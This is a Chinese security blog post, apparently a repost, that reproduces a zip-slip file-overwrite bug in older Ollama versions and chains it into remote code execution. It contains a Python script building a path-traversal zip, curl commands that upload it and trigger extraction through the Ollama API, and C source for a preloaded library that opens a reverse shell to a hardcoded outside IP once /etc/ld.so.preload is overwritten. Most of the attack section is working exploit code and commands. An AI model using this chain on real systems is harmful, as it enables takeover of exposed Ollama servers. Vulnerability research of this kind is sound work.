ollama低版本任意文件覆盖RCE

admin 2025年3月3日15:55:08评论56 views字数 3048阅读10分9秒阅读模式

在研究ollama CVE-2024-37032的时候发现ollama低版本任意文件读取和任意文件覆盖导致RCE

任意文件读取网上复现文章比较多,但是文件覆盖到rce复现细节大多不够完整,于是动手复现分析一波.

大致思路参考:

ollama低版本任意文件覆盖RCE

在翻pr的时候在ollama commit中找到个zip相关的修复:

https://github.com/ollama/ollama/pull/5314/commits/a4a83f3cfa5baf516cf7cceb45f05a65cd9b9a6a

主要是改了parseFromZipFile这个函数,   

ollama低版本任意文件覆盖RCE

查看修改之前的parseFromZipFile发现确实有点问题, 解压时没校验文件解压路径, 可以构造zip文件然后触发zip解压导致文件覆盖.

  1. import zipfileif __name__ == "__main__":try:        zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)        info = zipfile.ZipInfo("poc.zip")        zipFile.write("pwned.txt", "../../../../../../../../../tmp/pwned.txt", zipfile.ZIP_DEFLATED)        zipFile.close()except IOError as e:raise e

然后需要考虑两件事:

1. 文件上传, 首先得能找到接口可以把文件上传到ollama的服务端. 翻文档看到/api/blobs/:digest 接口支持上传blobs文件

  1. $sha256sum poc.zip     d0200bc27bb317b2ee97beef3da991ea5da4088204d1a9dc4b6f90c0785b71b0  poc.zip$curl -T poc.zip -X POST 127.0.0.1:11434/api/blobs/sha256:d0200bc27bb317b2ee97beef3da991ea5da4088204d1a9dc4b6f90c0785b71b0

2. 触发解压, 这个一直回溯parseFromZipFile调用就能找到, 发现在调用/api/create接口的时候可以触发parseFromZipFile

  1. 调用栈: CreateModelHandler() --> CreateModel(...) --> parseFromFile(..) --> parseFromZipFile()请求:curl http://127.0.0.1:11434/api/create -d '{"model""test-1","modelfile""FROM ~/.ollama/models/blobs/sha256-d0200bc27bb317b2ee97beef3da991ea5da4088204d1a9dc4b6f90c0785b71b0"}'

ollama低版本任意文件覆盖RCE

覆盖/etc/ld.so.preload RCE: 

poc.c:

  1. //gcc -shared -o vuln.so -fPIC poc.c#include<stdio.h>#include<unistd.h>#include<stdarg.h>#include<dlfcn.h>#include<stdlib.h>#include<arpa/inet.h>#include<sys/socket.h>#include<netinet/in.h>#define REMOTE_ADDR "3.147.74.40"#define REMOTE_PORT 4444intshell(){int sock;structsockaddr_in serv_addr;    sock = socket(AF_INET, SOCK_STREAM, 0);if (sock == -1) {perror("socket");exit(EXIT_FAILURE);    }    serv_addr.sin_family = AF_INET;    serv_addr.sin_addr.s_addr = inet_addr(REMOTE_ADDR);    serv_addr.sin_port = htons(REMOTE_PORT);if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) {perror("connect");close(sock);exit(EXIT_FAILURE);    }dup2(sock, 0);dup2(sock, 1);dup2(sock, 2);execve("/bin/bash"NULLNULL);close(sock);return0; }// hooked snprintfintsnprintf(char *buffer, size_t n, constchar *format, ...){printf("snprintf hooking!n");shell();return0;}

复现

  1. 1. 制作zipslip文件# zipFile.write("ld_preload.txt", "../../../../../../../../../etc/ld.so.preload", zipfile.ZIP_DEFLATED)# zipFile.write("poc.so", "../../../../../../../../../tmp/poc.so", zipfile.ZIP_DEFLATED)2. 上传curl -T poc.zip -XPOST169.254.0.3:11434/api/blobs/sha256:1d99838d36e38e60cd5bdb0fcace0558df122c6934b59ce9c062a86decf4add7curl -T poc_preload.zip -XPOST169.254.0.3:11434/api/blobs/sha256:02460a931831257d96e183c4457a769f0494712cec6f411449fba100a59108853. 触发zipslip curl http://169.254.0.3:11434/api/create -d '{"model""test-1","modelfile""FROM ~/.ollama/models/blobs/sha256-1d99838d36e38e60cd5bdb0fcace0558df122c6934b59ce9c062a86decf4add7"}'curl http://169.254.0.3:11434/api/create -d '{"model""test-2","modelfile""FROM ~/.ollama/models/blobs/sha256-02460a931831257d96e183c4457a769f0494712cec6f411449fba100a5910885"}'
ollama低版本任意文件覆盖RCE

Over.

 参考 https://huntr.com/bounties/aeb82e05-484f-4431-9ede-25a3478d8dbb

原文始发于微信公众号(谁不想当剑仙):ollama低版本任意文件覆盖RCE

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月3日15:55:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ollama低版本任意文件覆盖RCEhttps://cn-sec.com/archives/3788740.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息